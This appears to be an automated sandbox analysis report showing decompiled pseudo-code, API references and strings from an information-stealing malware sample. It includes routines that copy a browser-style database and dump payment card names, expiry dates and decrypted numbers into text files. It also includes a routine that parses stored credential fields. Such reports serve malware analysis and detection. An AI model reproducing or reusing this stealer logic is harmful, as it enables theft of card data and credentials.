				_v604 = _a16;
				L00429B30( &_v284, 0, 0x104);
				_t78 =  *0x453058; // 0x50987d8
				lstrcatA( &_v284, _t78);
				_t186 = E0042A0BB( &_v284, _t181, _t185, 0x1a);
				 *_t186 = 0;
				L0042D41F(GetTickCount());
				_t197 = _t193 - 0x254 + 0x14;
				_t182 = 0x1a;
				do {
					_t83 = L0042D431(_t207);
					asm("cdq");
					_push(_t83 % 0xa);
					_push(_t186);
					wsprintfA(_t186, "%s%d");
					_t197 = _t197 + 0x10;
					_t182 = _t182 - 1;
				} while (_t182 != 0);
				_t186[0x1a] = 0;
				lstrcatA( &_v284, _t186);
				CopyFileA(_t136,  &_v284, 1); // executed
				L00429B30( &_v548, _t182, 0x104);
				wsprintfA( &_v548, "\\CC\\%s_%s.txt", _v596, _v600);
				_t187 =  *0x452bf0; // 0x5099ef8
				_t169 =  &_v588;
				_t93 =  *0x453304( &_v284,  &_v588); // executed
				_t199 = _t197 + 0x24;
				if(_t93 != 0) {
					L17:
					_t95 = DeleteFileA( &_v284); // executed
					 *[fs:0x0] = _v16;
					_pop(_t183);
					_pop(_t188);
					_pop(_t137);
					return E00429B16(_t95, _t137, _v20 ^ _t192, _t169, _t183, _t188);
				}
				_t97 =  *0x4532b8(_v588, _t187, 0xffffffff,  &_v584, _t93); // executed
				_t200 = _t199 + 0x14;
				if(_t97 != 0) {
					L16:
					 *0x4532d8(_v584);
					_t169 = _v588;
					 *0x453308(_v588);
					goto L17;
				}
				_t101 = RtlAllocateHeap(GetProcessHeap(), _t97, 0xf423f); // executed
				_v580 = _t101;
				_t103 =  *0x4532d4(_v584); // executed
				_t203 = _t200 + 4;
				if(_t103 != 0x64) {
					L10:
					_t104 = lstrlenA(_v580);
					_t154 = _v604;
					if(_t154 != 0) {
						__eflags =  *_t154 - 2;
						if( *_t154 == 2) {
							 *0x4537d4 = E00428410( *((intOrPtr*)(_t154 + 4)), _v580,  &_v548, _t104, 3);
						} else {
							 *0x4537d4 = 0x80000;
						}
					} else {
						 *0x4537d4 = 0x10000;
					}
					L00429B30( &_v580, 0, 4);
					_t200 = _t203 + 0xc;
					goto L16;
				} else {
					goto L5;
				}
				do {
					L5:
					_t108 =  *0x4532f4(_v584, 0);
					_t109 =  *0x4532f4(_v584, 1);
					_t111 =  *0x4532f4(_v584, 2);
					lstrcatA(_v580, "Name: ");
					lstrcatA(_v580, _t108);
					lstrcatA(_v580, "\n");
					lstrcatA(_v580, "Month: ");
					lstrcatA(_v580, _t109);
					lstrcatA(_v580, "\n");
					lstrcatA(_v580, "Year: ");
					lstrcatA(_v580, _t111);
					lstrcatA(_v580, "\n");
					lstrcatA(_v580, "Card: ");
					_t126 =  *0x4532e0(_v584, 3, _v608, _v592);
					_t128 = L00414CB0( &_v576,  *0x4532e8(), _t126, _v584, 3);
					_t206 = _t203 + 0x30;
					_v8 = 0;
					if(_t128[0x14] >= 0x10) {
						_t128 =  *_t128;
					}
					lstrcatA(_v580, _t128);
					_v8 = 0xffffffff;
					if(_v556 >= 0x10) {
						_push(_v576);
						E00429B0B();
						_t206 = _t206 + 4;
					}
					_v556 = 0xf;
					_v560 = 0;
					_v576 = 0;
					lstrcatA(_v580, "\n\n");
					_t133 =  *0x4532d4(_v584);
					_t203 = _t206 + 4;
				} while (_t133 == 0x64);
				goto L10;
			}

0x004157e3
0x004157e5
0x004157f0
0x004157f7
0x004157fc
0x004157fc
0x004157fe
0x00415802
0x00415803
0x00415804
0x00415808
0x00415811
0x00415819
0x0041581f
0x00415828
0x0041583a
0x00415840
0x00415846
0x0041584b
0x0041585b
0x00415868
0x0041586d
0x00415877
0x0041587c
0x0041587f
0x00415884
0x00415884
0x00415889
0x00415891
0x00415892
0x00415899
0x0041589f
0x004158a2
0x004158a2
0x004158ad
0x004158b1
0x004158c1
0x004158d4
0x004158f6
0x004158fc
0x00415902
0x00415910
0x00415916
0x0041591b
0x00415b99
0x00415ba0
0x00415ba9
0x00415bb1
0x00415bb2
0x00415bb3
0x00415bc1
0x00415bc1
0x00415933
0x00415939
0x0041593e
0x00415b79
0x00415b80
0x00415b86
0x00415b90
0x00000000
0x00415b96
0x00415951
0x00415957
0x00415964
0x0041596a
0x00415970
0x00415b15
0x00415b1c
0x00415b22
0x00415b2a
0x00415b38
0x00415b3b
0x00415b61
0x00415b3d
0x00415b3d
0x00415b3d
0x00415b2c
0x00415b2c
0x00415b2c
0x00415b71
0x00415b76
0x00000000
0x00000000
0x00000000
0x00000000
0x00415976
0x00415976
0x0041597f
0x00415990
0x004159a1
0x004159b8
0x004159c6
0x004159d8
0x004159ea
0x004159f8
0x00415a0a
0x00415a1c
0x00415a2a
0x00415a3c
0x00415a4e
0x00415a6b
0x00415a8f
0x00415a94
0x00415a9e
0x00415aa4
0x00415aa6
0x00415aa6
0x00415ab0
0x00415ab6
0x00415ac3
0x00415acb
0x00415acc
0x00415ad1
0x00415ad1
0x00415ae0
0x00415aea
0x00415af0
0x00415af6
0x00415b03
0x00415b09
0x00415b0c
0x00000000

APIs

_memset.LIBCMT ref: 00415846
lstrcatA.KERNEL32(?,050987D8,?,?,?), ref: 0041585B
_malloc.LIBCMT ref: 00415863

Part of subcall function 0042A0BB: __FF_MSGBANNER.LIBCMT ref: 0042A0D4
Part of subcall function 0042A0BB: __NMSG_WRITE.LIBCMT ref: 0042A0DB
Part of subcall function 0042A0BB: RtlAllocateHeap.NTDLL(00000000,00000001), ref: 0042A100

GetTickCount.KERNEL32 ref: 00415870

Part of subcall function 0042D41F: __getptd.LIBCMT ref: 0042D424

_rand.LIBCMT ref: 00415884

Part of subcall function 0042D431: __getptd.LIBCMT ref: 0042D431

wsprintfA.USER32 ref: 00415899
lstrcatA.KERNEL32(?,00000000), ref: 004158B1
CopyFileA.KERNEL32(?,?,00000001), ref: 004158C1
_memset.LIBCMT ref: 004158D4
wsprintfA.USER32 ref: 004158F6
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0041594A
RtlAllocateHeap.NTDLL(00000000), ref: 00415951
lstrcatA.KERNEL32(?,Name: ), ref: 004159B8
lstrcatA.KERNEL32(?,00000000), ref: 004159C6
lstrcatA.KERNEL32(?,004485E8), ref: 004159D8
lstrcatA.KERNEL32(?,Month: ), ref: 004159EA
lstrcatA.KERNEL32(?,00000000), ref: 004159F8
lstrcatA.KERNEL32(?,004485E8), ref: 00415A0A
lstrcatA.KERNEL32(?,Year: ), ref: 00415A1C
lstrcatA.KERNEL32(?,00000000), ref: 00415A2A
lstrcatA.KERNEL32(?,004485E8), ref: 00415A3C
lstrcatA.KERNEL32(?,Card: ), ref: 00415A4E

Part of subcall function 00414CB0: _memcmp.LIBCMT ref: 00414CFC
Part of subcall function 00414CB0: _memset.LIBCMT ref: 00414D25
Part of subcall function 00414CB0: LocalAlloc.KERNEL32(00000040,?,?,?,?,30E242AA), ref: 00414D5F

lstrcatA.KERNEL32(?,00000000), ref: 00415AB0
lstrcatA.KERNEL32(?,0044A994), ref: 00415AF6
lstrlenA.KERNEL32(?), ref: 00415B1C
_memset.LIBCMT ref: 00415B71
DeleteFileA.KERNEL32(?), ref: 00415BA0

Strings

Year: , xrefs: 00415A16
Month: , xrefs: 004159E4
\CC\%s_%s.txt, xrefs: 004158F0
Name: , xrefs: 004159B0
Card: , xrefs: 00415A48
%s%d, xrefs: 00415893

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: lstrcat$_memset$Heap$AllocateFile__getptdwsprintf$AllocCopyCountDeleteLocalProcessTick_malloc_memcmp_randlstrlen
String ID: %s%d$Card: $Month: $Name: $Year: $\CC\%s_%s.txt
API String ID: 3489177116-3189770857
Opcode ID: 6d21c72adb4d47a03d39c92ea5dc030c638a7ecaa62824cb3b1366255e00305d
Instruction ID: 7dca3fcba11bf07016101dcf7a9bf262c2b1e35bdd9f166ef3e95c9b77be1123
Opcode Fuzzy Hash: 6d21c72adb4d47a03d39c92ea5dc030c638a7ecaa62824cb3b1366255e00305d
Instruction Fuzzy Hash: 19B193B1A00314ABCB20DF65DD89FAEB778FB48746F0045A9F50993251DA34DA80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00417600 Relevance: 56.3, APIs: 37, Instructions: 812
stringCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00417600(CHAR* _a4) {
				char _v8;
				char _v16;
				signed int _v24;
				char _v1024;
				void* _v2024;
				CHAR* _v2032;
				CHAR* _v2036;
				char _v2052;
				CHAR* _v2060;
				CHAR* _v2064;
				CHAR* _v2080;
				CHAR* _v2088;
				CHAR* _v2092;
				CHAR* _v2108;
				CHAR* _v2116;
				CHAR* _v2120;
				char _v2136;
				CHAR* _v2144;
				CHAR* _v2148;
				char _v2164;
				CHAR* _v2172;
				intOrPtr _v2176;
				char _v2192;
				CHAR* _v2200;
				intOrPtr _v2204;
				char _v2220;
				intOrPtr _v2228;
				char _v2248;
				CHAR* _v2252;
				char _v2256;
				char _v2260;
				CHAR* _v2264;
				char _v2268;
				intOrPtr _v2272;
				char _v2344;
				char _v2448;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t273;
				signed int _t274;
				signed char _t287;
				void* _t294;
				intOrPtr _t296;
				intOrPtr* _t300;
				intOrPtr _t312;
				void* _t313;
				intOrPtr _t317;
				void* _t318;
				intOrPtr _t321;
				void* _t322;
				intOrPtr _t325;
				void* _t326;
				intOrPtr _t328;
				intOrPtr _t330;
				signed int _t331;
				intOrPtr _t335;
				signed int _t336;
				intOrPtr _t340;
				signed int _t341;
				signed int _t342;
				void* _t345;
				void* _t349;
				CHAR* _t351;
				CHAR* _t355;
				CHAR* _t359;
				void* _t368;
				intOrPtr _t376;
				intOrPtr _t380;
				void* _t381;
				signed int _t382;
				intOrPtr _t395;
				intOrPtr _t399;
				void* _t400;
				signed int _t401;
				intOrPtr _t404;
				intOrPtr _t408;
				void* _t409;
				signed int _t410;
				intOrPtr _t414;
				intOrPtr _t418;
				void* _t419;
				signed int _t420;
				void* _t430;
				void* _t431;
				void* _t433;
				void* _t434;
				void* _t435;
				signed int _t436;
				CHAR* _t443;
				CHAR* _t461;
				CHAR* _t464;
				char* _t469;
				intOrPtr _t470;
				char* _t474;
				char* _t478;
				intOrPtr _t479;
				char* _t485;
				intOrPtr _t486;
				char* _t492;
				intOrPtr _t493;
				CHAR* _t511;
				CHAR* _t512;
				char* _t516;
				char* _t517;
				char* _t518;
				char* _t524;
				char* _t525;
				char* _t526;
				char* _t530;
				char* _t531;
				char* _t532;
				char* _t535;
				char* _t536;
				char* _t537;
				void* _t538;
				void* _t539;
				intOrPtr _t543;
				intOrPtr _t544;
				intOrPtr _t545;
				intOrPtr _t546;
				intOrPtr _t548;
				char* _t549;
				CHAR** _t551;
				char _t552;
				char* _t553;
				char _t554;
				char* _t555;
				intOrPtr _t556;
				char* _t557;
				signed int _t561;
				void* _t562;
				void* _t564;
				intOrPtr* _t565;
				intOrPtr _t571;
				intOrPtr _t572;
				intOrPtr _t573;
				CHAR* _t574;
				void* _t576;
				signed int _t577;
				void* _t580;
				signed int _t581;
				void* _t583;
				signed int _t584;
				void* _t586;
				signed int _t587;
				signed int _t588;
				void* _t589;
				void* _t592;
				void* _t593;
				void* _t595;
				void* _t596;
				void* _t597;
				char* _t598;
				void* _t599;
				void* _t600;
				void* _t601;
				void* _t602;
				signed int _t664;
				signed int _t671;
				signed int _t678;
				signed int _t679;

				_t273 =  *0x450664; // 0x30e242aa
				_t274 = _t273 ^ _t588;
				_v24 = _t274;
				 *[fs:0x0] =  &_v16;
				_v2264 = _a4;
				L00429B30( &_v1024, 0, 0x3e8);
				L00429B30( &_v2024, 0, 0x3e8);
				_t592 = _t589 - 0x980 + 0x18;
				_t11 = (0 |  *0x4534c0(0, 0x28, 0, 0,  &_v2024, _t274, _t538, _t562, _t430,  *[fs:0x0], 0x43e6ce, 0xffffffff) < 0x00000000) - 1; // -1
				lstrcatA( &_v1024, _t11 &  &_v2024);
				_t443 =  *0x452b8c; // 0x509aac8
				_t503 =  &_v1024;
				lstrcatA( &_v1024, _t443);
				_t287 = GetFileAttributesA( &_v1024); // executed
				if(_t287 == 0xffffffff) {
					L157:
					 *[fs:0x0] = _v16;
					_pop(_t539);
					_pop(_t564);
					_pop(_t431);
					__eflags = _v24 ^ _t588;
					return E00429B16(_t287, _t431, _v24 ^ _t588, _t503, _t539, _t564);
				}
				_t608 = _t287 & 0x00000010;
				if((_t287 & 0x00000010) != 0) {
					goto L157;
				} else {
					_t448 =  &_v1024;
					E0041C9E0(_t608,  &_v2448,  &_v1024);
					_v8 = 0;
					_v2032 = 0xf;
					_v2036 = 0;
					_v2052 = 0;
					_v2252 = 0;
					_v2116 = 0xf;
					_v2120 = 0;
					_v2136 = 0;
					_v2144 = 0xf;
					_v2148 = 0;
					_v2164 = 0;
					_v2088 = 0xf;
					_v2092 = 0;
					_v2108 = 0;
					_v2060 = 0xf;
					_v2064 = 0;
					_v2080 = 0;
					while(1) {
						_t294 = L00414560(_t588 +  *((intOrPtr*)(_v2448 + 4)) - 0x98c, _t448,  &_v2260);
						_v8 = 6;
						_t565 = L0041DF40(_t294);
						_v8 = 5;
						_t296 = _v2260;
						if(_t296 != 0) {
							asm("sbb edi, edi");
							L00429655( &_v2256);
							_t561 =  !( ~( *(_t436 + 4))) & _t436;
							if(_t561 != 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_t561))))(1);
							}
						}
						_v2268 =  *((intOrPtr*)( *((intOrPtr*)( *_t565 + 0x18))))(0xa);
						_t300 = E0041E2D0( &_v2448,  &_v2052, _v2268);
						_t452 =  *((intOrPtr*)( *_t300 + 4));
						_t593 = _t592 + 0xc;
						asm("sbb eax, eax");
						if(( *((intOrPtr*)( *_t300 + 4)) + _t300 &  !( ~( *(_t452 + _t300 + 0xc) & 0x00000006))) == 0) {
							__eflags = _v2060 - 0x10;
							if(_v2060 >= 0x10) {
								_push(_v2080);
								E00429B0B();
								_t593 = _t593 + 4;
							}
							_v2060 = 0xf;
							_v2064 = 0;
							_v2080 = 0;
							__eflags = _v2088 - 0x10;
							if(_v2088 >= 0x10) {
								_push(_v2108);
								E00429B0B();
								_t593 = _t593 + 4;
							}
							_v2088 = 0xf;
							_v2092 = 0;
							_v2108 = 0;
							__eflags = _v2144 - 0x10;
							if(_v2144 >= 0x10) {
								_push(_v2164);
								E00429B0B();
								_t593 = _t593 + 4;
							}
							_v2144 = 0xf;
							_v2148 = 0;
							_v2164 = 0;
							__eflags = _v2116 - 0x10;
							if(_v2116 >= 0x10) {
								_push(_v2136);
								E00429B0B();
								_t593 = _t593 + 4;
							}
							_v2116 = 0xf;
							_v2120 = 0;
							_v2136 = 0;
							__eflags = _v2032 - 0x10;
							if(_v2032 >= 0x10) {
								_push(_v2052);
								E00429B0B();
								_t593 = _t593 + 4;
							}
							_v2032 = 0xf;
							_v2036 = 0;
							_v2052 = 0;
							_v8 = 0xffffffff;
							E0041CB50( &_v2344, 0xf);
							_t503 =  &_v2344;
							_v2344 = 0x44b35c;
							_t287 = E00429239( &_v2344);
							goto L157;
						}
						_t312 =  *0x452ae0; // 0x50984d0
						_t313 = L00429C90(_t312);
						_t595 = _t593 + 4;
						_t543 = L004107A0(_v2252 + 1,  &_v2052, _t312, _t313);
						_v2252 = _t543;
						if(_t543 == 0xffffffff) {
							L31:
							_t317 =  *0x452dc4; // 0x5098550
							_t318 = L00429C90(_t317);
							_t596 = _t595 + 4;
							_t87 = _t543 + 1; // 0x1
							_t433 = L004107A0(_t87,  &_v2052, _t317, _t318);
							if(_t433 == 0xffffffff) {
								L52:
								_t321 =  *0x452f58; // 0x50984e0
								_t322 = L00429C90(_t321);
								_t597 = _t596 + 4;
								_t111 = _t433 + 1; // 0x1
								_t434 = L004107A0(_t111,  &_v2052, _t321, _t322);
								if(_t434 == 0xffffffff) {
									L73:
									_t325 =  *0x452f9c; // 0x5098d18
									_t326 = L00429C90(_t325);
									_t598 = _t597 + 4;
									_t135 = _t434 + 1; // 0x1
									_t328 = L004107A0(_t135,  &_v2052, _t325, _t326);
									_v2252 = _t328;
									if(_t328 == 0xffffffff) {
										_t435 = 0x10;
										L104:
										_t571 = L00429C90(0x4485e7);
										_t330 = _v2120;
										_t599 = _t598 + 4;
										_t544 = _t330;
										if(_t330 >= _t571) {
											_t330 = _t571;
										}
										_t448 = _v2136;
										if(_v2116 < _t435) {
											_t448 =  &_v2136;
										}
										_t331 = L0042AC58(_t448, 0x4485e7, _t330);
										_t592 = _t599 + 0xc;
										if(_t331 == 0) {
											if(_t544 >= _t571) {
												__eflags = _t544 - _t571;
												_t186 = _t544 != _t571;
												__eflags = _t186;
												_t331 = 0 | _t186;
											} else {
												_t331 = _t331 | 0xffffffff;
											}
											_t664 = _t331;
										}
										if(((_t331 & 0xffffff00 | _t664 == 0x00000000) & 0xffffff00 | (_t331 & 0xffffff00 | _t664 == 0x00000000) == 0x00000000) != 0) {
											_t572 = L00429C90(0x4485e7);
											_t335 = _v2148;
											_t600 = _t592 + 4;
											_t545 = _t335;
											if(_t335 >= _t572) {
												_t335 = _t572;
											}
											_t448 = _v2164;
											if(_v2144 < 0x10) {
												_t448 =  &_v2164;
											}
											_t336 = L0042AC58(_t448, 0x4485e7, _t335);
											_t592 = _t600 + 0xc;
											if(_t336 == 0) {
												if(_t545 >= _t572) {
													__eflags = _t545 - _t572;
													_t196 = _t545 != _t572;
													__eflags = _t196;
													_t336 = 0 | _t196;
												} else {
													_t336 = _t336 | 0xffffffff;
												}
												_t671 = _t336;
											}
											if(((_t336 & 0xffffff00 | _t671 == 0x00000000) & 0xffffff00 | (_t336 & 0xffffff00 | _t671 == 0x00000000) == 0x00000000) != 0) {
												_t573 = L00429C90(0x4485e7);
												_t340 = _v2092;
												_t601 = _t592 + 4;
												_t546 = _t340;
												if(_t340 >= _t573) {
													_t340 = _t573;
												}
												_t448 = _v2108;
												if(_v2088 < 0x10) {
													_t448 =  &_v2108;
												}
												_t341 = L0042AC58(_t448, 0x4485e7, _t340);
												_t592 = _t601 + 0xc;
												if(_t341 == 0) {
													if(_t546 >= _t573) {
														__eflags = _t546 - _t573;
														_t206 = _t546 != _t573;
														__eflags = _t206;
														_t341 = 0 | _t206;
													} else {
														_t341 = _t341 | 0xffffffff;
													}
													_t678 = _t341;
												}
												_t342 = _t341 & 0xffffff00 | _t678 == 0x00000000;
												_t679 = _t342;
												_t680 = _t342 & 0xffffff00 | _t679 == 0x00000000;
												if((_t342 & 0xffffff00 | _t679 == 0x00000000) != 0) {
													_t345 = E0041E080( &_v2080, _t680);
													_t681 = _t345;
													if(_t345 != 0) {
														_t461 =  *0x4531e8; // 0x5091068
														_t574 = _v2264;
														lstrcatA(_t574, _t461);
														_t511 =  *0x4531a0; // 0x50985c0
														lstrcatA(_t574, _t511);
														_t349 = E004109C0(":", _t681,  &_v2220,  &_v2136);
														_t602 = _t592 + 8;
														_v8 = 8;
														_t351 = L00413440( &_v2164,  &_v2192, _t349);
														_v8 = 9;
														if(_t351[0x14] >= 0x10) {
															_t351 =  *_t351;
														}
														lstrcatA(_t574, _t351);
														if(_v2172 >= 0x10) {
															_push(_v2192);
															E00429B0B();
															_t602 = _t602 + 4;
														}
														_v8 = 5;
														_v2172 = 0xf;
														_v2176 = 0;
														_v2192 = 0;
														if(_v2200 >= 0x10) {
															_push(_v2220);
															E00429B0B();
															_t602 = _t602 + 4;
														}
														_v2200 = 0xf;
														_v2204 = 0;
														_v2220 = 0;
														lstrcatA(_t574, "\n");
														_t464 =  *0x452c5c; // 0x509d100
														lstrcatA(_t574, _t464);
														_t355 = _v2108;
														if(_v2088 < 0x10) {
															_t355 =  &_v2108;
														}
														lstrcatA(_t574, _t355);
														lstrcatA(_t574, "\n");
														_t512 =  *0x45315c; // 0x509ccc8
														lstrcatA(_t574, _t512);
														_t359 = _v2080;
														if(_v2060 < 0x10) {
															_t359 =  &_v2080;
														}
														lstrcatA(_t574, _t359);
														lstrcatA(_t574, "\n\n");
														E004050C0( &_v2136, 0x4485e7, L00429C90(0x4485e7));
														E004050C0( &_v2164, 0x4485e7, L00429C90(0x4485e7));
														E004050C0( &_v2108, 0x4485e7, L00429C90(0x4485e7));
														_t368 = L00429C90(0x4485e7);
														_t592 = _t602 + 0x10;
														_t448 =  &_v2080;
														E004050C0( &_v2080, 0x4485e7, _t368);
														 *0x4532ec =  *0x4532ec + 1;
													}
												}
											}
										}
										continue;
									}
									_t376 = _v2036;
									_t548 = 0x1b;
									if(_t376 >= 0x1b) {
										L76:
										_t468 = _v2052;
										_t435 = 0x10;
										_t514 = _v2052;
										if(_v2032 < 0x10) {
											_t514 =  &_v2052;
											_t468 =  &_v2052;
										}
										E0042A2D0(_t468, _t514 + _t548, _t376 - _t548);
										_t469 = _v2052;
										_t380 = _v2036 - _t548;
										_t598 = _t598 + 0xc;
										_v2036 = _t380;
										if(_v2032 < _t435) {
											_t469 =  &_v2052;
										}
										 *((char*)(_t469 + _t380)) = 0;
										_t376 = _v2036;
										L82:
										_t470 = _v2032;
										_t549 = _v2052;
										_t516 = _t549;
										if(_t470 < _t435) {
											_t516 =  &_v2052;
										}
										_t576 = _t516 + _t376;
										_t517 = _t549;
										if(_t470 < _t435) {
											_t517 =  &_v2052;
										}
										_t154 = _t376 - 7; // -7
										_t381 = _t517 + _t154;
										_t518 = _t549;
										if(_t470 < _t435) {
											_t518 =  &_v2052;
										}
										if(_t381 != 0) {
											_t472 = _t381 - _t518;
											__eflags = _t381 - _t518;
										} else {
											_t472 = 0;
										}
										if(_t576 != 0) {
											_t577 = _t576 - _t381;
											__eflags = _t577;
											_t382 = _t577;
										} else {
											_t382 = 0;
										}
										E00405360( &_v2052, _t472, _t382);
										_t598 = _t598 - 0x1c;
										_t474 = _t598;
										_v2272 = _t598;
										 *((intOrPtr*)(_t474 + 0x14)) = 0xf;
										 *(_t474 + 0x10) = 0;
										 *_t474 = 0;
										E004051C0(_t474,  &_v2052, 0, 0xffffffff);
										_t551 = E00420040( &_v2248);
										if( &_v2080 != _t551) {
											if(_v2060 >= _t435) {
												_push(_v2080);
												E00429B0B();
												_t598 = _t598 + 4;
											}
											_v2060 = 0xf;
											_v2064 = 0;
											_v2080 = 0;
											if(_t551[5] >= _t435) {
												_v2080 =  *_t551;
												 *_t551 = 0;
											} else {
												E0042A2D0( &_v2080, _t551,  &(_t551[4][1]));
												_t598 = _t598 + 0xc;
											}
											_v2064 = _t551[4];
											_v2060 = _t551[5];
											_t551[4] = 0;
											_t551[5] = 0;
										}
										_v8 = 5;
										if(_v2228 >= _t435) {
											_push(_v2248);
											E00429B0B();
											_t598 = _t598 + 4;
										}
										goto L104;
									}
									_t548 = _t376;
									if(_t376 == 0) {
										_t435 = 0x10;
										goto L82;
									}
									goto L76;
								}
								_t395 = _v2036;
								_t552 = 9;
								if(_t395 >= 9) {
									L55:
									_t477 = _v2052;
									_t522 = _v2052;
									if(_v2032 < 0x10) {
										_t522 =  &_v2052;
										_t477 =  &_v2052;
									}
									E0042A2D0(_t477, _t522 + _t552, _t395 - _t552);
									_t478 = _v2052;
									_t399 = _v2036 - _t552;
									_t597 = _t597 + 0xc;
									_v2036 = _t399;
									if(_v2032 < 0x10) {
										_t478 =  &_v2052;
									}
									 *((char*)(_t399 + _t478)) = 0;
									_t395 = _v2036;
									L60:
									_t479 = _v2032;
									_t553 = _v2052;
									_t524 = _t553;
									if(_t479 < 0x10) {
										_t524 =  &_v2052;
									}
									_t580 = _t524 + _t395;
									_t525 = _t553;
									if(_t479 < 0x10) {
										_t525 =  &_v2052;
									}
									_t129 = _t395 - 7; // -7
									_t400 = _t525 + _t129;
									_t526 = _t553;
									if(_t479 < 0x10) {
										_t526 =  &_v2052;
									}
									if(_t400 != 0) {
										_t481 = _t400 - _t526;
										__eflags = _t400 - _t526;
									} else {
										_t481 = 0;
									}
									if(_t580 != 0) {
										_t581 = _t580 - _t400;
										__eflags = _t581;
										_t401 = _t581;
									} else {
										_t401 = 0;
									}
									E00405360( &_v2052, _t481, _t401);
									E004051C0( &_v2108,  &_v2052, 0, 0xffffffff);
									goto L73;
								}
								_t552 = _t395;
								if(_t395 == 0) {
									goto L60;
								}
								goto L55;
							}
							_t404 = _v2036;
							_t554 = 9;
							if(_t404 >= 9) {
								L34:
								_t484 = _v2052;
								_t528 = _v2052;
								if(_v2032 < 0x10) {
									_t528 =  &_v2052;
									_t484 =  &_v2052;
								}
								E0042A2D0(_t484, _t528 + _t554, _t404 - _t554);
								_t485 = _v2052;
								_t408 = _v2036 - _t554;
								_t596 = _t596 + 0xc;
								_v2036 = _t408;
								if(_v2032 < 0x10) {
									_t485 =  &_v2052;
								}
								 *((char*)(_t408 + _t485)) = 0;
								_t404 = _v2036;
								L39:
								_t486 = _v2032;
								_t555 = _v2052;
								_t530 = _t555;
								if(_t486 < 0x10) {
									_t530 =  &_v2052;
								}
								_t583 = _t404 + _t530;
								_t531 = _t555;
								if(_t486 < 0x10) {
									_t531 =  &_v2052;
								}
								_t409 = _t404 + _t531 - 7;
								_t532 = _t555;
								if(_t486 < 0x10) {
									_t532 =  &_v2052;
								}
								if(_t409 != 0) {
									_t488 = _t409 - _t532;
									__eflags = _t409 - _t532;
								} else {
									_t488 = 0;
								}
								if(_t583 != 0) {
									_t584 = _t583 - _t409;
									__eflags = _t584;
									_t410 = _t584;
								} else {
									_t410 = 0;
								}
								E00405360( &_v2052, _t488, _t410);
								E004051C0( &_v2164,  &_v2052, 0, 0xffffffff);
								goto L52;
							}
							_t554 = _t404;
							if(_t404 == 0) {
								goto L39;
							}
							goto L34;
						}
						_t414 = _v2036;
						_t556 = 9;
						if(_t414 >= _t556) {
							L13:
							_t491 = _v2052;
							_t533 = _v2052;
							if(_v2032 < 0x10) {
								_t533 =  &_v2052;
								_t491 =  &_v2052;
							}
							E0042A2D0(_t491, _t533 + _t556, _t414 - _t556);
							_t492 = _v2052;
							_t418 = _v2036 - _t556;
							_t595 = _t595 + 0xc;
							_v2036 = _t418;
							if(_v2032 < 0x10) {
								_t492 =  &_v2052;
							}
							 *((char*)(_t418 + _t492)) = 0;
							_t414 = _v2036;
							L18:
							_t493 = _v2032;
							_t557 = _v2052;
							_t535 = _t557;
							if(_t493 < 0x10) {
								_t535 =  &_v2052;
							}
							_t586 = _t414 + _t535;
							_t536 = _t557;
							if(_t493 < 0x10) {
								_t536 =  &_v2052;
							}
							_t419 = _t414 + _t536 - 7;
							_t537 = _t557;
							if(_t493 < 0x10) {
								_t537 =  &_v2052;
							}
							if(_t419 != 0) {
								_t495 = _t419 - _t537;
								__eflags = _t419 - _t537;
							} else {
								_t495 = 0;
							}
							if(_t586 != 0) {
								_t587 = _t586 - _t419;
								__eflags = _t587;
								_t420 = _t587;
							} else {
								_t420 = 0;
							}
							E00405360( &_v2052, _t495, _t420);
							E004051C0( &_v2136,  &_v2052, 0, 0xffffffff);
							_t543 = _v2252;
							goto L31;
						}
						_t556 = _t414;
						if(_t414 == 0) {
							goto L18;
						}
						goto L13;
					}
				}
			}

0x00417617
0x0041761c
0x0041761e
0x00417628
0x00417640
0x00417646
0x0041765b
0x00417660
0x00417682
0x0041768f
0x00417695
0x0041769c
0x004176a3
0x004176b0
0x004176b9
0x00418135
0x00418138
0x00418140
0x00418141
0x00418142
0x00418146
0x00418150
0x00418150
0x004176bf
0x004176c1
0x00000000
0x004176c7
0x004176c7
0x004176d5
0x004176da
0x004176e2
0x004176e8
0x004176ee
0x004176f5
0x004176fb
0x00417701
0x00417707
0x0041770e
0x00417714
0x0041771a
0x00417721
0x00417727
0x0041772d
0x00417734
0x0041773a
0x00417740
0x00417750
0x00417766
0x0041776d
0x00417776
0x00417778
0x0041777c
0x00417784
0x004177aa
0x004177b4
0x004177b9
0x004177bb
0x004177c5
0x004177c5
0x004177bb
0x004177d7
0x004177f2
0x004177f9
0x00417808
0x0041780d
0x00417813
0x00418031
0x00418037
0x0041803f
0x00418040
0x00418045
0x00418045
0x0041804f
0x00418055
0x0041805b
0x00418062
0x00418068
0x00418070
0x00418071
0x00418076
0x00418076
0x00418079
0x0041807f
0x00418085
0x0041808c
0x00418092
0x0041809a
0x0041809b
0x004180a0
0x004180a0
0x004180a3
0x004180a9
0x004180af
0x004180b6
0x004180bc
0x004180c4
0x004180c5
0x004180ca
0x004180ca
0x004180cd
0x004180d3
0x004180d9
0x004180e0
0x004180e6
0x004180ee
0x004180ef
0x004180f4
0x004180f4
0x004180fd
0x00418103
0x00418109
0x00418110
0x00418117
0x0041811c
0x00418123
0x0041812d
0x00000000
0x00418132
0x00417819
0x00417821
0x00417826
0x0041783e
0x00417840
0x00417849
0x0041792f
0x0041792f
0x00417937
0x0041793c
0x00417947
0x00417950
0x00417955
0x00417a3c
0x00417a3c
0x00417a44
0x00417a49
0x00417a54
0x00417a5d
0x00417a62
0x00417b49
0x00417b49
0x00417b51
0x00417b56
0x00417b61
0x00417b65
0x00417b6a
0x00417b73
0x00417d1e
0x00417d23
0x00417d2d
0x00417d2f
0x00417d35
0x00417d38
0x00417d3c
0x00417d3e
0x00417d3e
0x00417d40
0x00417d4c
0x00417d4e
0x00417d4e
0x00417d5b
0x00417d60
